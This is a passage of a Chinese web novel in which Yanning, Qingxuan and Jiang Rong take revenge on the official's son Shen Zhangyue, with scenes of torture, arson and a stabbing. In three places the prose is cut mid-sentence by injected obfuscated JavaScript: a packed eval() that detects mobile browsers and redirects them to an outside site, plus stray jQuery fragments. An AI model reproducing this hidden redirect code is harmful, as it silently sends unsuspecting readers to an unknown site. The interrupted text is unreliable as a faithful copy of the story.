孟昌脸上冒汗，五官都疼得变了形，唇色苍白，面容憔悴，无法抑制的痛楚席卷了他所有的思维，开口时，他的唇瓣在抖动，“五娘她……她去了铜陵。” 好、好疼…… 晏宁的脚并没松开，低眉不语。 “她看上了别人，我成全了她。”孟昌总结措辞，只差没将那句“水性杨花、不守妇道”给说出来。 突然，他感觉自己的手被人抓住，头转不过去，看不到将要发生什么，心中更慌，巨大的不安萦绕心头。 晏宁神情近乎麻木。 下手狠辣，同一根银簪刺入孟昌的手指头。 不是指腹，是指尖。 四面的风吹来，仿佛寂静一瞬。 孟昌的脸色因疼痛而扭曲，嘴唇剧烈颤抖而发不出声来。 伤口处只一个小小的红点，源源不断地往外渗血，染红了底下的草坪。 刹那间，钻心刺骨的疼痛让他感到窒息，四肢百骸无不在叫嚣着—— 疼、疼！疼！疼疼疼…… 好疼！！！ 他冷汗直流，呼吸变得急促，手无力的垂下，心中不仅是忐忑更是惧怕，若他能动，定然要躲得远远地。 晏宁站起身，笑得亲切温和，脚挪到他手腕上，稍稍用力便踩住了。 “把你方才说的话再说一遍。” 方才他、他说了什么？ 孟昌面露茫然。 再次袭来的疼痛在提醒他，“五、五娘真的去了铜陵……”他焦急忙慌道：“我没撒谎！” 拇指被人抓住，他头皮都要炸了。 “我真没……啊啊啊啊！！！” 晏宁又是一用力，将他拇指往另一个方向扯，那种疼痛与皮肉分离无异，无法言喻、无处宣泄，从头皮到脚尖，顺着脊背一路往下，全身的每一处骨头都像被巨石碾压一般，几近昏厥。 他痛到虚脱，眼皮耷拉着，颓废地躺在草坪上，浑身汗湿，像从水里捞出来一样。 这场面既惊悚又吓人，女子靠着墙，脸色愈发苍白，一副被吓傻的模样。 “我给过你机会了。”晏宁的声音轻轻地，没再刻意伪装，像女子般温柔，孟昌后知后觉感到不对劲，费力地掀起眼皮，“你究竟……是谁？” “我是谁，难道五娘从没跟你提过？” 孟昌努力将脸转向她，一点点睁大眼，试图将她看清楚，可在他面前的人，浓眉大眼，面容黝黑，他印象中，霍云清从未提起过这样的人。 观他面色，晏宁就知道他在想什么，倒没多大反应，“她去铜陵做什么？跟谁去的？” “我只知，来人是铜陵富商，姓楚……啊——” 指尖又被刺入一针。 晏宁杏眸低垂，本该灵动的眸中却一片死寂，她在做这种事情时也是面无表情的。 又是富商。 她眼中燃起一簇火苗，即便落在深潭中，也依旧燃烧，不见丝毫泯灭的模样。 孟昌的喊叫接二连三响起，远处传来零星几道声音。 “有动静。” “像是从那边传来的。” “过去看看！” 孟昌仿佛看到了希望，费力挣扎，试图引起远处注意。 晏宁一脚踩在他后脖颈，让他一句话都说不出。 远处的守卫逐渐靠近，来者不多，却也不是她能对抗得了的。 她平静地望着。 陡然间，一道火光冲天。 朝这走来的守卫脚步一顿，慌忙转身，“怎么回事？！” “快！快去救火！” 一瞬间，熄灭了孟昌的希望。 他心如死灰，后脖颈上的禁锢松了，他连忙吸了几口气，恍惚间听到身旁人道：“我还会回来找你的。” 他以为自己得到解放，却在下一刻陷入更深的绝望。 “针上有毒，你的命在我手里。” 晏宁道：“若霍云清仍在铜陵，自会有人给你解药，若她不在……”顿了顿，更加阴冷的声音响起，“那你就该合计合计，能不能活到我找到她时。” 这无疑比死还要痛苦。 让他永远都活在恐惧中。 因为没人比他更清楚，霍云清究竟在不在铜陵。 他不停摇头，想开口求她，眼前一黑，瞬间昏死过去。 女子抱膝躲到树后，看着晏宁朝她走来，惊恐地往后退，但她浑身无力，只能任由晏宁将她拽起。 两人走出一段距离，竟没遇到一个人。 晏宁走到原先那棵树后，挖出她埋下的东西，接着拨开杂草，露出一个洞来，对女子道：“爬出去。” 女子不敢不听，忍着身上的疼，一步步往外爬。 晏宁将地面恢复如初，跟着爬出去，她将杂草重新掩上，仿佛从来没人来过这里一般。 “七姑娘，你可算出来了。” 元青一直候在外面，见到晏宁平安出现时，终于松了口气。 再一看晏宁的脸，他吓了一大跳，“七姑娘，你的脸……” 晏宁没解释，只道：“此次多谢你了。” 元青挠挠头，“这倒没什么，公子交代了，让我一切都听姑娘的。” 在进去前，晏宁就多做了一手准备，以免发生意外，她让元青在两个时辰后选一处院子放火。 只是不知他选的是哪一处院子，竟能让全府守卫都动身赶去灭火。 她将怀中令牌还给他，“事情已了，我先走了。” 元青喊住她：“七姑娘，你不等等我家公子吗？” “你家公子那么厉害，定能平安出来，何须我等？” “可是……” 晏宁往前走，在她身旁的女子两边看了看，最后一咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831673|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牙也跟了上去，身上的疼痛让她走得并不稳当。 元青愣愣看着，小声腹诽：“怎么觉得七姑娘用完公子就扔呢？” “连你都发现了。” 元青一转头，惊喜道：“公子！”随即反应过来，“你帮了七姑娘这么大一个忙，她也不说谢谢你。” 谢鹤明笑了，“她不是说过谢谢了吗？” “……那不一样。”元青语塞。 “放火一事你做的不错。” 提起这个，元青情绪又好起来，“不过公子还真聪明，一箭双雕，既帮了七姑娘，又烧了那些证据，家主一定会感谢公子的。” 谢鹤明低头笑笑，眼中闪过一道暗芒，“那可说不准。” “他啊，指不定还会认为我坏了他的大事。” 元青听他语气，不敢多说，生硬的转移话题道：“公子，那这个怎么办？”手掌摊开，赫然放着那块令牌。 “哪儿拿来的，放回哪儿去。”他如是说道。 …… 晏宁没有回到那处宅院，沿着无人的街道一直走，走到一处江边，她低头漫不经心地清洗手上血渍，纤细的手指浸入江里，一寸寸擦拭，直至再无一点血迹。 接着她洗去脸上妆容。 女子站在她身后，眼睁睁地看着她从一个灰头土脸的侍卫，变成一个娇弱貌美的女子。 唇红齿白，杏眸微敛。 她脱去那身衣服，重新梳起了头发，长长的乌发任她缠了几下，编成一个辫子，发带束在发尾，温柔又恬静。 若非她亲眼所见，实在想象不到眼前女子会是方才那个下手不眨眼的黑脸侍卫。 正出神着，眼前人回过头，盯着她道：“你叫什么？” “我叫……清璇。” “你过来。”晏宁依旧是那副淡然神色，看不出她究竟想做什么，清璇犹豫了一下，心道自己已一无所有，实在没什么可失去的，便一步步朝她走过去。 离晏宁还有几步距离后，她停下脚步，警惕地站在原地。 面前突然递来一块帕子，她微怔，顺着这只手看去。 “擦擦脸。” 晏宁的嗓音平静，并不算柔软，眼中也不见丝毫怜悯，仿佛只是在做一件微不足道之事，掀不起她心底的涟漪。 大抵是许久未曾听到这样一番话，清璇的眼眶蓦地红了，她垂下头，肩膀一耸一耸，泪水如断了线的珠子般滴落。 晏宁一愣，又将帕子往前伸，什么话也没说。 她最初将她带出来，可不是动了什么恻隐之心，她又不是圣人，没道理在那么冒险的时刻为一个不相干之人，将自己陷入险境。 清璇接过帕子，走到江边，蹲下身。 她看着江面上倒映出来的女子面庞，失神的望着，帕子轻轻拂过伤痕，很疼，但没心里疼…… 她咬着唇，像是积压已久，也不顾身边有没有旁人，发泄般的流着泪。 泪水砸进江里，荡开一圈圈涟漪，连她的面容都变得不甚清晰。 哭完，发泄完，她垂头不语。 突然一个瓷瓶递了过来。 她顺着这只手看去，脸上泪痕未干，却怔住了。 晏宁道：“治伤的。” 她颤着手接过，握在手里似能感受到晏宁手心的温度。 好在这些伤只是看着吓人，但都是皮外伤，不曾伤到肺腑。 药粉抹在伤口上，冰冰凉凉，确实缓解了不少痛意。 她低低道：“多谢姑娘。” 12. 承诺 过了正午，天色一点点暗沉下来。 江边僻静，拂过发梢的风温柔的擦拭清璇脸上的泪，她余光瞥见晏宁腰间挂着的荷包，微微一愣，“这个怎么会在你这？” 荷包做工不算上佳，一针一线却缝得极其认真，尤其是上头的图案，绣着一个九字。 天底下那么多的荷包，不可能所有的巧合都集中在一个上。 迄今为止，她只在一人身上见过。 清璇抬眼，“可否借我一看？” 或许隔得远，她看错了也说不准。 晏宁听她语气急切，不似作伪，干脆解下荷包，递过去。 一放在手心，清璇便确定这是姜蓉贴身佩戴的，她忙道：“你认得姜蓉？” 闻言，晏宁也正色起来，“你如何知道她？” 一个是被困在节度府牢狱里的少女，一个是在外生活平淡的女子，两人看起来没有任何接触，完全不可能认识。 若二人相识，是不是也就说明姜蓉和节度府之间发生了什么。 晏宁眸色沉下来，“你因何被抓？守卫说沈章越一直想从你身上问出什么，他想问的究竟是何事？” 她的语气步步紧逼，清璇下意识后退，但脑中又浮现那些苦痛与恨意，她掐着自己掌心，从牙缝中挤出一句，“沈章越害死了我的父母。”她道：“他害我家破人亡，只为了让我做他的妾室。” “我恨他！” “如果有人能助我杀他，我愿意舍弃一切，哪怕是我的命！” 晏宁注意到她最后的话，“有人？”她眯了眯眼，“那人就是姜蓉？” 清璇犹豫片刻，还是点头。 “但我其实没帮上什么忙，我只是截获了一封信。” “什么信？” “一封沈章越亲笔写下的信。” 晏宁又问：“之后你将信交给她了？” 清璇点头，想起之后发生的事，她并不后悔，即便被打的遍体鳞伤，即便容颜不再，她也要替死去的至亲报仇，只因那人说过，会让施暴者受到应有的惩罚…… 她家境并不富裕，但爹娘对她很好，从来舍得在她身上花钱，凡是别的孩子有的，她也必然要有。 爹娘从未因为她是个女儿身而放弃她。 阿爹老实本分，虽不曾念过书，但也有意将她送去私塾，只因银钱不够，最终还是搁置了，阿娘恬静温柔，总是耐心的教导她。 原本平淡的日子终是被沈章越打破。 他也不知从哪瞧了她一眼，偏要将她带入府中为妾。 爹娘将她含辛茹苦养大，可不是为了送她与人为妾的。 那一日，傍晚时分，夕阳斜红。 她被人拽到门外，眼睁睁地看着一柄长刀贯穿爹娘的腹部。 血流满地。 阿娘倒在血泊里，没来得及再看她一眼。 落日的余晖洒在阿爹脸上，他紧紧抓着腹前的刀柄，像是不舍，又像是苦涩的望着她。 无论她如何崩溃喊叫，沈章越都只淡淡吩咐一句，“把人给我带走。” 她匆匆看了眼倒下的阿爹，耳畔仍在回荡着沈章越那声，“真晦气。” 真晦气…… 对沈章越来说，两条人命是件晦气的事。 在节度府的那几个月，她生不如死。 有人同她说，刚来都一样寻死觅活，最后还不是乖乖地梳妆打扮，求公子临幸。 对女子来说，有人宠爱，是件多么幸福的事。 可清璇眼里只有恨意。 除了恨意还有对自己的厌弃。 她无法替父母报仇，还要委身于仇人。 手中握紧的匕首，是她唯一的底气。 可次次都被沈章越发现，招来更多的拳打脚踢。 她身上流血，眼中流泪，从小没挨过打骂的她在那几个月里，都受了一遍。 但她只能咬牙忍着，不能哭，会让人觉得软弱，她抬手反抗，迎面就是一耳光。 那阵子，她脸上又红又肿，大抵是不堪入目，沈章越竟没来找她。 就是那时，她遇到一个人。 后院里，她一动不动地站着，高高的墙面像一座永远无法越过的山峰，她连笼中鸟都算不上。 眼前树叶晃了晃，她看到有一人从树后钻出来。 看起来与她差不多年岁，但脸上却干净得很，只是那双眼中藏着和她一样的情绪。 对望片刻，清璇开口道：“你是谁？” 说实话，一抬头看到眼前站着一个人，姜蓉的确吓了一跳，见她迟迟不曾喊人，虽不知她是何用意，但应该暂时无事。 “你不是沈府的人。”姜蓉没回答她的问题，认真打量起她。 “我自然不是。”说这话时，她没藏起语气里的恨，咬牙切齿的模样让姜蓉生了怀疑。 “你恨他。”依旧是笃定的语气。 是陈述，也是试探。 无需说得太明白，二人都知道这个‘他’指的是谁。 “恨。”清璇五官渐渐扭曲，每每想起那一日，心口的疼痛就像身上被撕开了一道口子，仇恨像剧毒渗入她的每一寸肌肤，无法隐藏。 什么韬光养晦、蓄势待发，她完全无法做到。 每次闭上眼，便是父母惨死的模样。 心底的憎恨如同跌宕的波涛，汹涌澎湃，疼到她成宿成宿的睡不着，不敢松懈，紧绷的神经无时无刻不在提醒着她。 “我恨不得用他的血来祭奠我的爹娘！” 姜蓉静静看着她，似有感同身受，只是她的情绪不再像清璇这般——歇斯底里。 没有用的。 她深切的明白，挂在嘴上的仇恨无用，天真的想向节度使讨个说法更是愚蠢。 她们不过低贱的平民，死便死了，谁能为她们讨公道呢？ 世上的公道是靠自己挣出来的。 “我也恨他。” 清璇抬眼看她，只望见平静幽深的眼眸，她的语气太轻了，以至于清璇觉得她的恨意也太轻了，轻到无法背负如她那般沉重的感情。 姜蓉朝她走了一步，“你若帮我，我会让他生不如死。” 清璇仍在怀疑，面前的女子同她一般年岁，如何能做到？她不敢轻信于她，但眼下除了她，再无人能帮她。 她没得选。 二人就此达成协议，静待时机。 清璇看着沈章越变本加厉的掳掠民女，依旧是临清一霸，没人敢出言阻拦。 她愈发怀疑姜蓉是不是在骗她，可骗她能有什么好处呢？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831674|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直到…… “你说他写了一封信？” “不错。”清璇道：“信里具体写了什么我不清楚，但我看他今晨抓回一个姑娘，接着就将信交给门外的小厮。” 姜蓉沉思片刻，道：“能将信拦下吗？” “我现在就去。”清璇也知紧要关头，不再多问，转身就往府外走。 这些日子她安分守己，对沈章越百般讨好，也难得得了些自由，许她出府走动，但要人贴身跟着。 她已尝试许多次把人甩开，这次总算成功。 追上那个小厮后，她气喘吁吁，忙道：“公子想起信中还有话没交代，派我来同你讨回。” 小厮认得她，疑惑问：“公子为何派你来？” “还不是……”清璇低下头，神色羞赧，“还不是公子正巧在我房中。”她左右看了看，凑近道：“事情隐秘，公子不想被旁人知晓，你应当明白。” 几粒碎银放在小厮手上。 小厮不疑有他，将信递过去，“那行，就劳你带回去了。” 清璇将信交给姜蓉，期间并未打开，以至于到现在她也不知信中究竟写了什么，更不知姜蓉想拿信做何文章。 只是这事还是被沈章越知道。 他大发雷霆，要她交出那封信，可她自然拿不出来，沈章越就命令侍卫将她关入狱中，无论如何也要将她的嘴撬开。 江面水波荡漾，山间的风清寒幽凉，天边阴云密布，沉重的仿佛要坠下来。 有股风雨欲来的感觉。 清璇说完，又是一阵沉默。 良久，晏宁摩挲着荷包，低声喃喃：“你可知姜蓉心中的恨是什么？” 是怎样的恨让她埋藏在心里，连在自己面前也没露出半分异样。 晏宁低头沉思，她开始回想重逢以来的细节。 在糕点铺外碰到姜蓉，她说是来买糖糕的，可她手中却没提着任何东西。 是忘了？ 还有提到阿九时…… 对了，阿九！ 据姜蓉所说，阿九是无意溺水而亡，可临清城中并无湍急江流，又何来溺水之说呢？ 唯一的一条江。 她站起身，看着眼前江流，淡漠的眸中有了一丝起伏，转身向远处眺望，江水如瀑，看似平静无波，但真正湍急之时，浪花击打岩石，足以将一个弱小的孩子冲向远方。 而这条江水的尽头，不知是何处。 所以，阿九的溺水身亡不是意外。 可她一个孩子，如何能独自来到空旷的江边？ 除非有人引她来。 她几乎将所有的细节串起来，深不见底的眼眸似一张挣不开的网，沉寂地压得人喘不过气。 她脸上神情变幻莫测，清璇敏锐的察觉到，她此刻很生气，与方才折磨男人时又稍有不同，一种名为愤怒的情绪在她胸腔动荡。 “我不知。”清璇摇头，“她从未提过。” 与姜蓉合作以来，除了她的名字，她再未吐露过丝毫，大抵是她身上那股悲伤的味道让她卸下几分心防，愿意去相信她。 她心中猜测，这是一个和她一样都失去过至亲的女子。 得到这个答案，晏宁并不意外。 姜蓉藏得很好，险些连她都被骗过去了。 13. 罪恶 风过林梢，云卷云舒。 晏宁握紧手中荷包，猛然想起今晨姜蓉将荷包递给她时的模样，一张笑脸，与初见时小心翼翼地看她时不同。 那时她带着阿九，已饿了多日，生怕晏宁离开，强忍着疲倦与饥饿，扯出一丝笑来，看上去像是讨好。 她显然是将晏宁当作唯一的救命稻草。 那种怯弱的姿态却因阿九的存在而变得更有勇气。 晏宁想起她今晨的笑容，藏起所有的苦痛与仇恨，咽下那些近乎麻木的不甘与悲哀，留给她的是一个状似什么都没发生过的模样。 姜蓉心里有太多的苦与泪，可她仍旧选择自己面对。 清璇和姜蓉一样，却又不一样。 同样是两个失去至亲的姑娘，前者直白的将自己的仇恨告诉所有人，她无法忍耐，因为那痛彻心扉的经历并未过去。 而后者早在时间的长河里磨炼出不屈的心性，她学会隐忍，学会隐藏。 她佯装微笑，等待时机，只是这每一次笑都是她苦痛的真实写照。 晏宁捏着荷包，将它打开。 与她所料不差，荷包里放着的根本不是什么平安符，只是一封折好的信纸。 信里的内容寥寥几笔，依旧没提到她要做的事，只是对她又是感谢又是道歉，接着讲述了这些年她的所见所闻，昨日太过匆忙，无法聊得尽兴。 又或许是当着她的面，有些话说不出口，只能用这种方式。 写信之人字迹歪歪扭扭，可以看出她很认真，奈何笔力不够。 写至最后，一张纸竟说不完，越写越小。 最后落笔—— 山高水远，祝卿安好。 晏宁指尖蜷缩，目光在最后一句话上反复流连。 这样的祝福，以她如今的情形怕是承担不起。 晏宁抬头望天，瞧着是要下雨了。 一群飞鸟掠过江面，朝远方飞去。 她视线追随而去，神色却平静下来。一时间，她想到了许多，沈章越无恶不作，百姓心中早有怨言，只是他们力量微薄，即便联起手来，也抵不过节度府的那群亲卫。 没人不盼着他死。 只是要让谁做这出头鸟。 死一个沈章越罢了，没必要一命偿一命。 若上天真的公平，就该让施暴者付出代价。 晏宁转身欲走，忽地，远处冲天火光令她脚步一顿，清璇也注意到了，“这……这怎么回事？” 谁这么喜欢烧人屋子玩儿？ 漫天的浓烟缭绕，使天色更加阴沉。火势渐大，疯狂地吞噬一切，烈焰照亮长空，隐约能窥见灼热的气浪排山倒海般涌来，隔着不远不近的距离，她闻到了刺鼻怪味。 “那是哪儿？”晏宁不抱希望的问。 清璇想了想，“瞧这个方向，应是周府。”起先她只是随口一说，一场大火而已，与她并无干系，可随着话音落地，她脑中灵光一闪，接着双目瞪大，后知后觉般看过去，“那不是……” 晏宁见状，便知其中定有深意，“那个周府也与沈章越有关？” “是，也不是。”清璇看向她，“确切的说，是周府主母阮苏禾与沈章越关系密切。” 这也是她无意中知道的。 “阮苏禾是沈章越的亲生母亲。” 此事并不是秘密，只因时间久远，人们早已淡忘。 阮苏禾出身商贾，是家中长女，从小便被父亲带出门做生意，在她的观念里，没什么女子不得抛头露面的道理。 后来，父亲年迈，将家业交到她手中，她虽是女儿身，却比任何男子都要争强好胜。 阮家商号越做越大，来到阮家提亲的人也越来越多。 可阮苏禾一个也看不上。 只是女子在外行商难免惹来风言风语，她的母亲便起了为她选夫的念头。 商不嫁官，更不低嫁。 选来选去，也未能定下。 后来，节度使迁至临清，百姓们没见过比县令还要大的官员，心中崇拜又敬仰，阮苏禾就是在这时看上了沈岱。 她虽是商贾末流，但胜在容貌姣好，沈岱性子风流，一眼便相中她，连半刻都等不得就上门提亲。 最初的几年，二人也算过了一段幸福日子。 直到沈岱将一个个的女人抬进门，她终是死心，又起了出门做生意的心思，可沈岱堂堂节度使，本就看不起商贾，又岂会同意。 两人连日争吵，阮苏禾心高气傲，从前待字闺中时便是如此，即便嫁人后有所改善，但也只是暂时压抑住。 她趁沈岱不在府中，偷偷出门做生意，只是这么大的事如何能瞒得住，两人又开始争吵，到最后，她拿着一纸休书改嫁他人，留下一个不到七八岁的孩子。 爹不管娘不爱，沈章越就在这日复一日的放养中长大。 “从前沈章越和他母亲关系如何？” “应该不好吧。”清璇道：“我听人说那时沈章越母亲在外行商，根本没管沈章越，无论他在学堂闹了多大的事，她也从没来看过一次。” 晏宁眉心一动，世上没有那么多的巧合，在她想清楚事情的来龙去脉后，一处宅院正巧失火，偏偏还是与沈章越有着密切关系的周府。 “走吧。” “去哪儿？” 晏宁静了静，将信纸重新折好放入荷包中，“你不想看看你的仇人是何下场吗？” 清璇瞪大眼，恍然意识到什么，“这火……” 她们都没将话说透，往起火的地方走去，走到半路，天上下起了零星小雨，闷雷轰隆，雨水落到江面，荡起一圈圈波澜。 二人身上湿透，走到周府不远处停下，脑中闪过一丝念头。 这雨来得恰是时候。 周府大门黑漆漆地，眼前尽是残垣断壁，满目疮痍。 一片废墟之中，无一人走出来。 雨势较大，彻底扑灭了这场火。 可罪恶并未消散。 晏宁站了会儿，往另一个方向走去。 若她是姜蓉，满心满眼都是复仇，那便不会离案发之地太远，她会睁大眼睛看着他们的下场。 清璇什么也没说，静静跟在身后。 周府外乱作一团，晏宁隐约能听到百姓在议论： “太惨了，没一个人逃出来。” “这火怎么起来的？有谁看见了吗？” “我还在带孩子，突然闻到一股臭味，出来一看，整个宅子都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831675|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彻底烧起来了。” “你们有没有听到里面好像有人在叫？那叫一个惨嘞。” “可不是嘛，活活被烧死，谁受得了。” 清璇跟紧晏宁，凑过去道：“姑娘，周家的人全死了。” 她语气有些低弱，晏宁瞥她一眼，“怎么，替他们难过？” 清璇犹豫道：“周府唯有阮苏禾一人与沈章越有关，其他人似乎都是无辜受累……” 晏宁突然停下脚步，牵了牵嘴角，嗤笑一声：“看不出来，你还挺菩萨心肠的。” “我且问你，你父母被害，是你的错吗？” 清璇犹豫片刻，呆呆点头，“是我害了他们。” “……”晏宁一阵语噎。 “那我再问你，你可曾故意引诱沈章越，招致后来之事？” 清璇瞪大眼，“自然没有！” “既然没有，为何要说是你所害？” 清璇眼神暗淡，“若不是我，我爹娘就不会死。” “可你想过没有，你才是受害者。” “受害者无罪，失去至亲的你又何其无辜？” 这一番话重重敲打在清璇心头，她呆愣的抬头，看着晏宁。 二人头上有一瓦片遮挡，但大雨来势凶猛，雨丝斜飞，湿了半肩。 晏宁的发辫上有晶莹水珠，将落未落，她神色平静，仅仅是在陈述一个事实，却在一瞬间，令清璇眼前豁然清晰。 她本无罪，父母却受她牵连。 周府众人无辜又如何？ 世上本就没有相对公平之事。 一报还一报是谓公平。 一命偿一命也是公平。 可若只是让他简单死去，又太便宜他了。 晏宁继续往前走，不知看到了什么，整个人定住不动，清璇险些撞到她后背，连忙停下脚步，这时，隐约听到一个熟悉的声音，被她刻入骨子的声音，时时刻刻都在提醒着自己的声音，她浑身发抖，咬紧牙关，探出头去。 远处站着两个人。 暴雨倾盆，如那条江流瀑布顺着天际涌下，闪电划破长空，雷声隆隆作响。 狂风裹挟着雨珠吹在脸上，模糊了她们的视线。 “是我杀的又如何？”沈章越笑起来，带着不计一切的疯狂，“我用布将她活活闷死。”他嗓音低哑，连笑几声，看着眼前人几乎抑制不住的恨意，他心中更加痛快，“但你不知道，其实那时她还没有死……” 说至此处，他停了下来，好整以暇地观赏女子的神色。 果然，姜蓉愣住了，她不可置信道：“你说什么？” “我说，那时她还没有死。”沈章越语气里带着一丝遗憾，“我也没想到，她命那么大，竟然还有一口气在。” “怎么会、怎么会……” 姜蓉退后两步，显然她眼下接收到的一切已经超越了她的认知。 “你做了什么？！你又做了什么！！！” 她近乎疯狂地抓住沈章越的肩，双目圆瞪，面容扭曲，雨水打湿了她的脸，像是上天要刻意掩盖住她脸上的泪。 沈章越一点点掰开姜蓉的手，用力推开，他依旧高高在上，看向姜蓉时，如同在看一个蝼蚁，“我把她扔到江里了。” 14. 诛心 姜蓉喉头哽住，连眼睛都忘了眨，雨滴落在她的眼睫上，恍然间她看到阿九朝她走来。 “你是没看到，她还在水里挣扎。”沈章越脸上挂了嘲讽，像在嘲笑她的软弱无能，“她一直在喊，姐姐救我，姐姐救我……” 姜蓉脚步踉跄，朦胧的雨幕里出现一个画面。 江流滚滚，激浪翻涌。一个小孩子在水中奋力挣扎，她连呛了好几口水，却仍旧努力喊出那一句，“姐姐救我……” 分明她知道这只是徒劳。 但姐姐是她当下唯一的依赖，她什么也不知道，只是全心全意的相信她。 她那时在哪？她那时在哪…… 心口如针扎一般疼。 姜蓉浑浑噩噩地捂住心口，皱着眉，神情恍惚，呼吸艰难。 雷声再次乍响，仿佛上天也在为这一场悲剧而不忍落泪，每一颗砸在水洼里的雨珠都像是一颗心碎的叹息。 良久，沈章越像是看厌了，正要转身，又听姜蓉轻声说了句：“你很爱你的母亲吧？” 肉眼可见地，沈章越浑身僵住。 他没再继续离开，就是最好的回答。 “你从小叛逆，不服管教，在学堂里殴打先生，欺辱同窗，都是为了得到你母亲的重视。”姜蓉的情绪似乎稳定了，声音也冷静下来，“可你没想到，你母亲离开沈府后，却没带上你，后来更是连见都不肯见你。” “你住口——” 像是被人发现了什么隐秘心事，沈章越骤然回身，怒吼了一句。 姜蓉笑笑，只是那笑容很冷，嗓音被风浸透，冷得出奇，“你知道周府的火是我放的又如何。” “那你可知道，我模仿你的字迹写信送去周府给你那位母亲，可她竟然丝毫不愿见你。” 顿了顿，姜蓉抬眼，生怕他不知道一样，“你知道我写的信是什么吗？” “你闭嘴！”沈章越神色已经有些慌乱，他不敢再听下去。 “是遗书。” ‘轰隆’—— 一道惊雷在耳边乍响。 沈章越浑身一震。 “哪怕是你要死了，她都不愿见你。”姜蓉语气恶劣，终于显露一丝报复的快意，“可见她又多厌恶你啊。” “你这样的人，活该被人抛弃，你拥有一切了又如何，连你母亲都受不了你，只怕她也在后悔将你这个恶魔带到世上。其实我本无意杀其他人，当时她若是出府了，按着信上的地址来了，或是……” 她微微一笑，道：“你看到过她后来生下的孩子吗？” “她很爱很爱那个孩子。” 这句话算是彻底将沈章越的理智掐断，“我让你住口——” 他扑上来，像是要掐死她。 可最终还是撞上一柄尖锐的利刃。 他无法动弹，怔怔地看着前方。 鲜血从他的腹部汩汩流下，混合着雨水淌落。 他死死抓着姜蓉的胳膊，再也撑不住般地跪下。 “我曾经所受过的苦，你也得尝尝。” 姜蓉的声音很轻，却精准无误地落在沈章越耳边。 “疼吗？” 她低低地，轻到随时会被风吹散，但那语声中承载的苦恨却不是这场大雨能掩盖住，“不够。” 她说：“还不够。” 又是一刀，刺中沈章越的肩胛。 躺在地上的人痛到五官皱起，身上多了道伤，他还想开口，另一边肩胛再次挨了一刀。 这次他缓了许久，想起自己这一生，竟还笑得出口，“杀、杀了我……你以为你、能逃得掉吗？”他说得断断续续，雨水迎头砸下，痛到他浑身抽搐。 “那个小孩……死的时候有多痛苦，你知道吗？” 他嘴角溢出血来，被雨水晕开。 没等他再开口，姜蓉用力刺向他胸口。 更多的鲜血淌落，染红了姜蓉的手指和衣袖。 她的脸上满是血迹，麻木又疯狂的一刀刀刺向他。 脸上神色变了又变，复杂的情绪在她眼中闪过，独独没有释然与解脱。 这样的神色，晏宁从未在她脸上看到过。 她走进雨里，清璇从震惊中回神，连忙跟上去，雨水扑面而来，刺激得她眼睛睁不开，寒意使她忍不住打了个哆嗦，视野变得更模糊了。 这幅场景换作任何一人看了，都会吓疯。 倒地抽搐不止的男子，和满脸血污，如同魔怔了一般拼命扎刀的女子。 晏宁在她身前站定，自始至终没有多余表情。 清璇的视线从姜蓉脸上落到沈章越身上，心中堵着的一口气渐渐散了，最初她只是被姜蓉的疯狂吓到，可渐渐平静下来，却觉得非常痛快。 那么多条人命，又岂是沈章越一人能抵消？ 用他珍视之人的命令他崩溃，也好叫他尝尝心如刀绞的滋味。 晏宁垂眼看她，缓缓开口：“他已经死了。” 姜蓉手指微动，不知被触动到什么，肩头一耸一耸，倾盆大雨里，女子的呜咽声如同冰晶破碎的低吟。 她身子在颤抖，握着匕首的指节用力到泛白，那是一种近乎透明的惨白，不属于她的鲜血顺着指尖滑下，相互杂糅，仿佛开在雨里妖冶而瑰丽的花朵。 断断续续的声音随风扩散，清晰地落入晏宁耳中。 那是心碎的回响。 无助又迷茫。 姜蓉的喉间仿佛被撕开了一道口子，沙哑的嗓音在雨中回荡。 “啊————” 如杜鹃啼血，哀鸣不止，泪水决堤般涌出，灵魂被反复拉扯。 她撕心裂肺的哀嚎几乎盖过雨声。 再次拔出利刃，连连刺下。 狂风暴雨中，她双眸混沌，直愣愣地盯着前方。 那些被她刻意压下的过往如潮水般奔涌而来，所有的理智与信念骤然崩塌。 多年前，正值饥荒。 姐妹二人从家乡一路往北逃难，途径多处乡镇，所遇皆是难民，她们抱紧怀中所剩不多的干粮，小心翼翼地从他们面前走过。 饥荒之年，粮价疯涨。百姓早已吃不起米粮，一个面饼便是一家子一日里的吃食。 饥饿之下，他们能做出更疯狂的事来，有些地方甚至出现过易子而食的情况。 两个孩子独自在路上行走，最易引起那群人的注意。 姜蓉拉着妹妹跑出乡镇，见后头无人跟随，才松下一口气。 “姐姐，你吃。”阿九面色蜡黄，一看便是营养不良的模样，嘴唇惨白干裂，抬头时却是一张笑脸。 